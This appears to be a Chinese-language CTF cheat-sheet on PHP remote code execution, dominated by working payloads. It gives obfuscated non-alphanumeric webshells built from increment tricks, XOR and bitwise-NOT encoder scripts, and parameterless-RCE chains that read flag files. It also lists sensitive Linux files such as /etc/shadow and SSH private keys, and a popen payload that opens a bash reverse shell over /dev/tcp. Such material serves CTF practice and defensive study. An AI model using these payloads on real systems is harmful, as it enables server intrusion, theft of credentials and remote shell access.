<?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]);

执行的时候要进行一次 URL 编码,否则 Payload 无法执行

javascript
<?php $_=[].'';//Array $_=$_[''=='$'];//A $_++;//B $_++;//C $_++;//D $_++;//E $__=$_;//E $_++;//F $_++;//G $___=$_;//G $_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T $_=$___.$__.$_;//GET //var_dump($_); $_='_'.$_;//_GET var_dump($$_[_]($$_[__])); //$_GET[_]($_GET[__])
php
$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);

php
%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B
php
_=system&__=ls

自增的rce,但是有一些特别的姿势

php

php
<?php error_reporting(0); if (isset($_GET['hint'])) { highlight_file(__FILE__); } if (isset($_POST['rce'])) { $rce = $_POST['rce']; if (strlen($rce) <= 120) { if (is_string($rce)) { if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) { eval($rce); } else { echo("Are you hack me?"); } } else { echo "I want string!"; } } else { echo "too long!"; } }

过滤了很多,只能用 $ _ () [] {} , . = + ; 和数字 0-9 以及其它非 A-Z a-iz 的 Unicode 字符。但是如果参考p牛博客里的自增rce姿势的话长度又会超出限制。题目的 hint 灵感来源于 ctfshow 七夕杯的 shellme_revenge, 那题用的是 php0/0=NAN和1/0=INF 的特性,但是需要 / 运算符参与。而这道题里是通过构造chr函数,然后再利用chr来构造$_GET,chr的每个字母都可以通过数组类型Array取出来。

php

php
$_=([].¥){3};$_++;$_.=++$_;$_++;$_++;$_++; $_++;$_++;$_.=([].¥){2};$_=_.$_(71).$_(69).$_(84);($$_{0})($$_{1});
php
?0=system&1=cat /flag

image-20221031204900971

无数字字符命令执行(异或脚本+取反脚本)

php
<?php $temp1="system"; //$temp2="ls /"; $temp2="cat /f*"; echo "(~".urlencode(~$temp1).")"."(~".urlencode(~$temp2).");";

异或脚本

php
<?php $a = "cat *"; echo"("; for ($i = 0; $i < strlen($a); $i++) { echo "%" . dechex(ord($a[$i]) ^ 0xff); } echo "^"; for ($i = 0; $i < strlen($a); $i++) { echo "%ff"; } echo")";

取反脚本

php
<?php $cmd = "cat *"; $s = ""; echo"(~"; for($i=0; $i<strlen($cmd); $i++){ for($j=128; $j<256; $j++){ if( (~chr($j)) == $cmd[$i] ){ $s .= "%".dechex($j); } } } echo $s; echo ")";
php
?v1=1&v2=1&v3=?(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%d5): ?v1=1&v2=(%ff%ff%ff%ff%ff%ff^%8c%86%8c%8b%9a%92)(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff^%8b%9e%9c%df%99%93%9e%98%d1%8f%97%8f);&v3=- ?v1=1&v2=1&v3=*(%ff%ff%ff%ff%ff%ff^%8c%86%8c%8b%9a%92)(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff^%8b%9e%9c%df%99%93%9e%98%d1%8f%97%8f)* ?v1=1&v2=1&v3=-(%ff%ff%ff%ff%ff%ff^%8c%86%8c%8b%9a%92)(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff^%8b%9e%9c%df%99%93%9e%98%d1%8f%97%8f)- ?v1=1&v2=1&v3=|(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%d5)|

7.文件读取

  • 查看目录

ls

ls的替代品

tree 以树状方式显示目录信息

pwd 查看当前目录路径

find命令用于在指定目录下查找文件和目录

vim 也可以显示目录

  • 输出文件内容

cat
sort。sort本是排序命令,但是默认会把执行后的结果输出到终端。

tail,默认显示文件尾部的内容。由于flag文件基本不会超过十行,所以作用差不多

tailf:类似于tail -f

tac,以行为单位反序输出文件内容

more file1 查看文件file1的文件内容;

more -num file2 查看文件file2的内容,一次显示num行;

more +num file3 查看文件file3的内容,从第num行开始显示;

less file1

head,查看文件开头的内容

grep "flag" /flag 在文件中搜索一个单词,命令会返回一个包含 “match_pattern” 的文本行

php
system('ls'); echo(`ls`); echo+反引号 ?><?=`ls`; <?=echo()的别名用法,不需要开启short_open_tag。 需要先?>把前面已有的<?php给闭合掉 system("cat /flag"); file_get_contents("/flag"); readfile("/flag"); highlight_file("/flag"); show_source("flag.php") <?= `ls /`?>

php函数文件读取

php
echo file_get_contents("/fla"."g"); 1.show_source("flag.php") 2.highlight_file("flag.php") highlight_file(glob("/f*")[0]) 3.highlight_file(next(array_reverse(scandir(dirname(__FILE__))))); 4.include("flag.php") 5.require("flag.php") 6.require_once("flag.php") 7.readfile("flag.php"); 9.try{$dbh=new PDO('mysql:host=localhost;dbname=ctftraining','root','root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row){echo($row[0])."|"; }$dbh= null;}catch(PDOException $e){echo $e->getMessage();}die(); 10.echo file_get_contents("flag.php"); print(file_get_contents($_GET[6])) print(file_get_contents("\x2f\x66\x6c\x61\x67")) print("\x2f\x66\x6c\x61\x67"); #一个十六进制数,代表一个ASCII字 print("\57\146\154\141\147"); #一个八进制数,代表一个ASCII字符 file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)) 11.var_dump(file('flag.php'));//file — 把整个文件读入一个数组中 12.print_r(file('flag.php')); 13.通过fopen去读取文件内容,这里介绍下函数 fread() fgets() fgetc() fgetss() fgetcsv() gpassthru() payload: $a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取 $a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取 $a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);} $a=fopen("flag.php","r");echo fread($a,"1000"); $a=fopen("flag.php","r");echo fpassthru($a); 14.非正常读取直接看: copy("flag.php","flag.txt"); rename("flag.php","flag.txt"); glob()函数 可以查找文件, 返回一个文件数组, 常配合通配符来遍历目录 glob(“*”) ?cmd=print_r(glob(%27*%27)); 打印当前目录出所有文件 glob()函数 可以查找文件, 返回一个文件数组, 常配合通配符来遍历目录 ?cmd=print_r(glob(%27*%27)); 打印当前目录出所有文件 ${phpinfo()};//${php代码} print_r(scandir("/")); var_dump(scandir("/"));打印一下根目录 show_source(chr(47).chr(102).chr(108).chr(97).chr(103)) printr() fread() fgets() vardump() ?f={passthru("ls -al /")} ?f={passthru("tac%20/_13075")} ?f={fread(popen("/bin/ls%20-al%20/","r"),2096)} ?f={fread(popen("/bin/bzless%20/_13075","r"),2096)} /index.php?f={print_r(scandir("/"))} /index.php?f={var_dump(scandir("/"))} ?f={fread(fopen("/_13075","r"),4096)} echo new SplFileObject('./flag.php'); #读目录下面文件的一种无参读取方法 echo new FilesystemIterator(getcwd());

8.无参RCE

参考链接1)(参考链接2)(语雀)

php
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码 file() //echo(implode(file("flag"))) ; //var_dump(file("flag")); readfile() readfile()的代替方法有join(file())以及serialize(file()) show_source() #读目录下面文件的一种无参读取方法 echo new FilesystemIterator(getcwd());
php
print_r(scandir(current(localeconv())));是查看当前目录 print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件 scandir(current(localeconv()))是当前目录 加上array_reverse()是将数组反转,即Array([0]=>index.php[1]=>flag.php=>[2].git[3]=>..[4]=>.) 再加上next()表示内部指针指向数组的下一个元素,并输出,即指向flag.php highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码 highlight_file(end(scandir(current(localeconv())))); 查看当前目录 print_r(scandir(pos(localeconv()))); print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); //多试几次 print_r(scandir(chr(ord(hebrevc(crypt(time())))))); //(多刷新几次) 读当前目录最后一个文件 show_source(end(scandir(getcwd()))); 读当前目录第一个文件 都当前目录第二个文件 show_source(next(array_reverse(scandir(getcwd())))); var_dump(getenv(phpinfo())); eval(end(current(get_defined_vars())));&jiang=phpinfo(); code=eval(end(current(get_defined_vars())));&jiang=system("cat%20flag.php"); getallheaders() //获取全部 HTTP 请求头信息,返回一个数组,数组中报文头属性是键,报文头属性 内容是值 end() //将数组的内部指针移动到最后一个单元并返回其值 current() //返回当前被内部指针指向的数组单元的值,如果指针超出数组,返回 false. //初始化时指针在第一个 end() - 将内部指针指向数组中的最后一个元素,并输出。 next() - 将内部指针指向数组中的下一个元素,并输出。 prev() - 将内部指针指向数组中的上一个元素,并输出。 reset() - 将内部指针指向数组中的第一个元素,并输出。 each() - 返回当前元素的键名和键值,并将内部指针向前移动。 current() -输出数组中的当前元素的值。 scandir() //函数返回指定目录中的文件和目录的数组。 localeconv() //返回一包含本地数字及货币格式信息的数组。 current() //返回数组中的单元,默认取第一个值。 pos 是 current 的别名 getcwd() //取得当前工作目录 dirname() //函数返回路径中的目录部分。dirname相当与返回上一级目录 即 ../ 例如print_r(scandir(dirname(dirname(dirname(dirname(dirname(getcwd()))))))); array_flip() //交换数组中的键和值,成功时返回交换后的数组 array_rand() //从数组中随机取出一个或多个单元 //array_flip()和 array_rand()配合使用可随机返回当前目录下的文件名 //dirname(chdir(dirname()))配合切换文件路径 print_r(array_rand(array_flip(scandir(dirname(dirname(dirname(dirname(dirname(getcwd()))))))))); //(localeconv())表示 可以配合 数组的指针,倒序,等各种方式找到我们的文件。 getcwd():取得当前工作目录,成功则返回当前工作目录,失败返回 FALSEdirname():返回路径中的目录部分,返回 path 的父目录。 如果在 path 中没有斜线, 则返回一个点(’.‘),表示当前目录。否则返回的是把 path 中结尾的 /component(最后一个斜线以及后面部分) 去掉之后的字符串(也就是上级目录的文件路径)。 chdir():改变目录,成功时返回 TRUE, 或者在失败时返回 FALSEscandir():列出指定路径中的文件和目录。成功则返回包含有文件名的数组,如果失败则返回 FALSE。 如果 directory 不是个目录,则返回布尔值 FALSE 并生成一条 E_WARNING 级的错误。 array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULLarray_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1), array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后, 就可以根据随机的键获取数组的随机值。 array_flip()和array_rand()配合使用可随机返回当前目录下的文件名 dirname(chdir(dirname()))配合切换文件路径 get_defined_vars //gettext别名_ ,所以有时无字符数字webshell可以使用它绕过 echo(chr(strrev(uniqid()))); echo(implode(scandir(chr(strrev(uniqid()))))); echo(implode(scandir(next(scandir(chr(strrev(uniqid()))))))); chdir(next(scandir(chr(strrev(uniqid()))))); file(end(scandir(chr(strrev(uniqid())))); echo(implode(file(end(scandir(chr(strrev(uniqid(chdir(next(scandir(chr(strrev(uniqid()))))))))))))); var_dump(scandir(getcwd())); var_dump(scandir(dirname(dirname(dirname(getcwd()))))); //主要就是获取请求时的url值,进行rce ?code=eval(end(current(get_defined_vars())));&test=system('dir'); var_dump(get_declared_classes()); system(current(getallheaders()));然后在请求的时候,将头部第一条信息修改,改成我们想要执行的代码 print_r(current(get_defined_vars()));&b=phpinfo();
php
var_dump(getenv(phpinfo())); eval(end(getallheaders())); eval(end(current(get_defined_vars())));&jiang=phpinfo(); system(next(getallheaders())); 读目录 dirname(chdir(dirname()))配合切换文件路径 /var/www/html/ 当前目录/var/www/html/:highlight_file(array_rand(array_flip(scandir(getcwd())))); 上级目录文件/var/www/:highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); 上上级目录文件/var/:highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(getcwd())))))))); 上上上级目录/根目录 : highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd()))))))))); show_source(current(array_reverse(scandir(getcwd())))); //倒着读文件内容 show_source(array_rand(array_flip(scandir(getcwd())))); //随机读取当前目录文件 show_source(array_rand(array_flip(scandir(current(localeconv()))))); print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件 print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件 show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); 上级目录 if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd())))); 查看根目录 print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); ?flag=system('cat flag.php');&code=eval(pos(pos(get_defined_vars()))); ?flag=system('cat flag.php');&code=eval(pos(reset(get_defined_vars()))); ?flag=readfile('flag.php');&code=eval(implode(reset(get_defined_vars()))); ?code=eval(current(array_reverse(current(get_defined_vars()))));&flag=system('cat flag.php'); ?code=eval(current(array_reverse(reset(get_defined_vars()))));&flag=system('cat flag'); ?code=eval(current(array_reverse(pos(get_defined_vars()))));&flag=system('cat flag');

session_id

php
show_source(session_id(session_start())); var_dump(file_get_contents(session_id(session_start()))) highlight_file(session_id(session_start())); readfile(session_id(session_start())); 或者readgzfile(); 修改cookie : PHPSESSID= filename eval(hex2bin(session_id(session_start()))); 抓包传入Cookie: PHPSESSID=("system('命令')"的十六进制)

取反+无参数rce:

php
def one(s): ss = "" for each in s: ss += "%" + str(hex(255 - ord(each)))[2:].upper() return f"[~{ss}][!%FF](" """ 组成类似于system(pos(next(getallheaders())));即可 a=whoami """ while 1: a = input(":>").strip(")") aa = a.split("(") s = "" for each in aa[:-1]: s += one(each) s += ")" * (len(aa) - 1) + ";" print(s)
php
eval(end(getallheaders()));

image-20240816172718305

php
var_dump(next(getallheaders()));

3.array_flip()和 array_rand()配合使用可随机返回当前目录下的文件名

php
GET /class10/1.php?code=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));

image-20240816191027699

php
当前目录:highlight_file(array_rand(array_flip(scandir(getcwd())))); 上级目录文件:highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); 以上两个都是随机获取
php
读目录 dirname(chdir(dirname()))配合切换文件路径 /var/www/html/ 当前目录/var/www/html/:highlight_file(array_rand(array_flip(scandir(getcwd())))); 上级目录文件/var/www/:highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); 上上级目录文件/var/:highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(getcwd())))))))); 上上上级目录/根目录 :highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));

4.代码

<?php highlight_file(__FILE__); $code = $_GET['code']; if (!empty($code)) { if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { echo 'bye~'; } else { eval($code); } } else { echo "No way!!!"; } }else { echo "No way!!!"; }

flag在上层目录的index.php中

看看正则过滤 img

可以通过 https://regex101.com/%60 测试正则 验证正则不限制什么

这块过滤了很多的php函数 可以采用下面方法来获得没被过滤的php内置函数

img

​ 获取PHP内置函数脚本

<?php $a = get_defined_functions()['internal']; $file = fopen("function.txt","w+"); foreach ($a as $key ) { echo fputs($file,$key."\r\n"); } fclose($file); ?>

查找能使用的函数脚本

import re f = open('function.txt','r') for i in f: function = re.findall(r'/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/',i) if function == [] and not '_' in i: print(i)

构造payload

这道题flag在上层的目录下的index.php 所谓得跳到上层目录读取index.php 所以我们得先构造如何调到上册目录的payload 也就是scandir('..') 如何构造呢?可以使用uniqid()函数 它能够生成动态字符串,他的牵绊部分是固定的,后半部分是动态变化的 我们可以使用strrev()函数反转一下字符串 然后就可以使用插入函数动态的构造任意字符 不过它只能生成一个. 再加上scandir()函数就可以返回当前目录下的文件 如何让他里面有两个..呢?

scandir(strrev(uniqid()));

可以在linux特性中我们查看当前文件他会返回 . .. 文件A 所以我们要用next指定下一个也就是 ..可以构造后我们也就可以构造返回到上册目录了

scandir(next(scandir(strrev(uniqid())))));

如何将上册目录输出在页面 因为scandir()返回的是目录的数组,本来使用var_dump输出但是被过滤了 用echo输出不了 这时可以使用implode将数组元素组成为字符串用echo输出这样构造的payload

echo(implode(scandir(next(scandir(chr(strrev(uniqid())))))));

使用Null payloads进行读取

现在想办法读取index

readfile被过滤了。。。

if 也不行

可以使用file来读取 用end获取scandir返回的最后一个元素也就是index.php

我们先使用chdir跳转到上一层目录

payload

chdir(next(scandir(chr(strrev(uniqid())))));

然后使用file函数读取文件 用end取得最后一个元素然后用file读取

file(end(scandir(chr(strrev(uniqid())))))

结合起来最终payload

echo(implode(file(end(scandir(chr(strrev(uniqid(chdir(next(scandir(chr(strrev(uniqid())))))))))))));

这个payload缺陷就是 要两边都为. 才行 null payload 运气不好近9万次才得到。。。。

img

用到的php函数(部分)

uniqid() 生成唯一一个ID strrev() — 反转字符串 implode(separator,array)-把数组元素组成为字符串 separator-可选。规定数组元素之间放置的内容 默认"" array-必须,需要组合为字符串的数组 next()-函数将内部指针指向数组中的下一个元素,并输出。 chr() 函数从指定的 ASCII 值返回字符。 file() 函数把整个文件读入一个数组中。 end — 将数组的内部指针指向最后一个单元 chdir() — 改变目录

boring_code

这里只截取部分进行讨论

php
<?php $code=@$_POST['code']; if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { echo 'bye~'; } else { @eval($code); } } else { echo 'NO first'; } ?> 123456789101112131415

题目通过正则表达式来限制传入函数的模式只能为a(b(c()));类似的嵌套模式. 如果我们能得到’.‘字符,就可以通过scandir()扫描目录. 下面提供几种在该模式下获取’.'的方法:

php
<?php echo pos(localeconv()); # . echo chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))); # . ?> 123456

题目中flag和页面并不在一个页面,scandir(’.’)扫描当前目录后回显是’.’,’…’,第二个元素是…,所以还需要通过chdir("…")来切换目录,chdir()的返回值为1. 所以我们还需要通过一些手段来让1变为46 其中一种方法是通过time()函数,该函数可参数可以随意传

php
pos(localtime(time())); 1

该函数会返回一个0~60之间的值. 得到最终payload:

php
code=echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))))))); 1

一秒发一个包即可得到flag

decade

php
<?php highlight_file(__FILE__); $code = $_GET['code']; if (!empty($code)) { if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { echo 'bye~'; } else { eval($code); } } else { echo "No way!!!"; } }else { echo "No way!!!"; } No way!!! 123456789101112131415161718

相比之前的题目,这道题目把time()和readfile()还有local给ban了 这里再介绍一种获得’…'的方法:

php
next(scandir(chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile()))))))))))) 1

同时readfile()的代替方法有join(file())以及serialize(file()) and获得47的方法还有

php
floor(tan(tan(atan(atan(ord(cos(1))))))) 1

有最终payload

php
?code=echo(join(file(end(scandir(next(each(scandir(chr(floor(tan(tan(atan(atan(ord(cos(chdir(next(scandir(chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile())))))))))))))))))))))))))))); 1

但是感觉这样的作法就很玄学,不是很通用,然后队里有个学长应该是看了一片关于三角函数表示有理数的文章,写了个脚本也达到了获得相应数字的目的,贴一下文章

9.linux敏感文件

php
/etc/passwd /etc/shadow /etc/hosts /root/.bash_history //root的bash历史记录,每个用户的家目录下都有这么一个文件 /root/.ssh/authorized_keys /root/.mysql_history //mysql的bash历史记录 /root/.wget-hsts /opt/nginx/conf/nginx.conf //nginx的配置文件 /var/www/html/index.html /etc/my.cnf /etc/httpd/conf/httpd.conf //httpd的配置文件 /proc/self/fd/fd[0-9]*(文件标识符) /proc/mounts /proc/config.gz /proc/sched_debug // 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用 /proc/mounts // 挂载的文件系统列表 /proc/net/arp //arp表,可以获得内网其他机器的地址 /proc/net/route //路由表信息 /proc/net/tcp and /proc/net/udp // 活动连接的信息 /proc/net/fib_trie // 路由缓存,可用于泄露内网网段 /proc/version // 内核版本 //以下文件若不知道PID,用self代替也可以 /proc/1/environ /proc/[PID]/cmdline // 可能包含有用的路径信息 /proc/[PID]/environ // 程序运行的环境变量信息,可以用来包含getshell。也有例如flask的题目会把SECRET KEY放里面 /proc/[PID]/cwd // 当前进程的工作目录 /proc/[PID]/fd/[#] // 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log /proc/self/cmdline //获取当前启动进程的完整命令 /proc/self/mem //进程的内存内容。注意该文件内容较多而且存在不可读写部分,直接读取会导致程序崩溃。需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。 /proc/self/maps //当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。 /root/.ssh/id_rsa /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys /etc/ssh/sshd_config /var/log/secure /etc/sysconfig/network-scripts/ifcfg-eth0 /etc/syscomfig/network-scripts/ifcfg-eth1 /sys/class/net/eth0/address //eth0网卡的MAC地址 配置文件存放目录:/etc/nginx 主配置文件:/etc/nginx/conf/nginx.conf 管理脚本:/usr/lib64/systemd/system/nginx.service 模块:/usr/lisb64/nginx/modules 应用程序:/usr/sbin/nginx 程序默认存放位置:/usr/share/nginx/html 日志默认存放位置:/var/log/nginx 配置文件目录为:/usr/local/nginx/conf/nginx.conf 常见web日志文件路径(linux): /etc/httpd/logs/access.log /var/www/nginx/access.log /var/log/httpd/access.log /var/log/apaches/access.log

linux环境变量

printenv env declare set echo $HOME enable export

10.命令行中的管道和逻辑操作符

shell
WINDOWS系统支持的管道符: “|”:“|”左边命令的输出就会作为“|”右边命令的输入,此命令可连续使用,第一个命令的输出会作为第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推 例如:ping www.baidu.com|whoami “||”:如果前面执行的语句执行出错,则执行后面的语句。 例如:ping www.baidu.com||whoami “&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。 例如: ping www.baidu.com&whoami “&&”:如果前面的语句为真先执行第一个命令后执行第二个命令: 为假则直接出错,也不执行后面的语句。 ping www.baidu.com&&whoami LINUX系统支持的管道符: “;”执行完前面的命令执行后面的。 “|”:直接执行后面的语句 [root@master ~]# ping www.baidu.com | whoami root “||”:当前面的语句执行出错时,执行后面的语句。 [root@master ~]# ping www.baiduu.com.cndewfsfrsf || whoami ping: www.baiduu.com.cndewfsfrsf: Name or service not known root [root@master ~]# “&”:如果前面的语句为假,则直接指向后面的语句,前面的语句可真可假。 [root@master ~]# ping www.baiduu.com.cndewfsfrsf & whoami [1] 31309 root “&&”:如果前面的语句为假则直接出错,也不执行后面的语句。 [root@joyboy html]# ping www.baidu.com -c 2&& whoami PING www.a.shifen.com (110.242.68.3) 56(84) bytes of data. 64 bytes from 110.242.68.3 (110.242.68.3): icmp_seq=1 ttl=54 time=56.8 ms 64 bytes from 110.242.68.3 (110.242.68.3): icmp_seq=2 ttl=54 time=11.3 ms --- www.a.shifen.com ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1001ms rtt min/avg/max/mdev = 11.347/34.112/56.878/22.766 ms root [root@joyboy html]# ping www.baidu.comm -c 2&& whoami ping: www.baidu.comm: Name or service not known [root@joyboy html]#

11. php命令执行

php
?><?=`ls`; <?= `ls /`?> include$_GET[1]

1.system() 执行外部程序(命令行)并返回命令输出的第一行为字符串. 失败返回 false,如果没有找到命令返回空字符串.

2.passthru() 于 system()不同,passthru()直接把命令执行的结果输出到标准输出,而不返回. NULL 是 var_dump()输出的结果

3.shell_exec() 返回输出第一行的内容,无回显.需要反弹 shell 使用.

4.exec() 不回显,返回命令执行的结果. 需要反弹 shell 使用 在实测这几个函数的时候,遇到了一个事情.我发现我的换行符没法换行了.这其实是因 为我把双引号打成单引号了,没想到 php 的单引号里什么都不解析

5.popen反弹shell

php
gggoku.php?a=${eval($_POST[0])} POST: $fd=popen("bash -c 'bash -i >& /dev/tcp/ip/2333 0>&1'",'r'); while($s=fgetss($fd)){ print_r($s); }

6.phpinfo();//{phpinfo()};//{php代码}

  • phpinfo() 功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。 危险等级:中

  • passthru() 功能描述:允许执行一个外部程序并回显输出,类似于 exec()。 危险等级:高

  • exec() 功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。 危险等级:高

  • system() 功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。 危险等级:高

  • chroot() 功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式 PHP 时才能工作,且该函数不适用于 Windows 系统。 危险等级:高

  • scandir() 功能描述:列出指定路径中的文件和目录。 危险等级:中

  • chgrp() 功能描述:改变文件或目录所属的用户组。 危险等级:高

  • chown() 功能描述:改变文件或目录的所有者。 危险等级:高

  • shell_exec() 功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。 危险等级:高

  • proc_open() 功能描述:执行一个命令并打开文件指针用于读取以及写入。 危险等级:高

  • proc_get_status() 功能描述:获取使用 proc_open() 所打开进程的信息。 危险等级:高

  • error_log() 功能描述:将错误信息发送到指定位置(文件)。 安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe

  • mode, 执行任意命令。 危险等级:低

  • ini_alter() 功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。 具体参见 ini_set()。 危险等级:高

  • ini_set() 功能描述:可用于修改、设置 PHP 环境配置参数。 危险等级:高

  • ini_restore() 功能描述:可用于恢复 PHP 环境配置参数到其初始值。 危险等级:高

  • dl() 功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。 危险等级:高

  • pfsockopen() 功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。 危险等级:高

  • syslog() 功能描述:可调用 UNIX 系统的系统层 syslog() 函数。 危险等级:中

  • readlink() 功能描述:返回符号连接指向的目标文件内容。 危险等级:中

  • symlink() 功能描述:在 UNIX 系统中建立一个符号链接。 危险等级:高

  • popen() 功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。 危险等级:高

  • stream_socket_server() 功能描述:建立一个 Internet 或 UNIX 服务器连接。 危险等级:中

  • putenv() 功能描述:用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数 修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。 危险等级:高

利用数学函数构造命令执行

原理:利用base_convert()函数的进制转换构造字符串

php
base_convert() 函数在任意进制之间转换数字。(不能转换除数字外的字符) 语法 base_convert(number,frombase,tobase);

Php

参数描述
number必需。规定要转换的数。
frombase必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
技术细节返回值:number 转换为指定进制。
返回类型:String
PHP 版本:4+

eg:

php
<?php echo base_convert('phpinfo',36,10); #55490343972 ?> <?php echo base_convert(55490343972,10,36); #phpinfo ?>

Php

getallheaders()函数

因为数学函数无法构造非数字字符,所以这里采用此函数

获取全部 HTTP 请求头信息

(PHP 4, PHP 5, PHP 7)

php
base_convert(8768397090111664438,10,30);//使用30进制防止丢精度 getallheaders(void): array 返回包含当前请求所有头信息的数组,失败返回FALSE

Php

运用方法类似于一句话木马

php
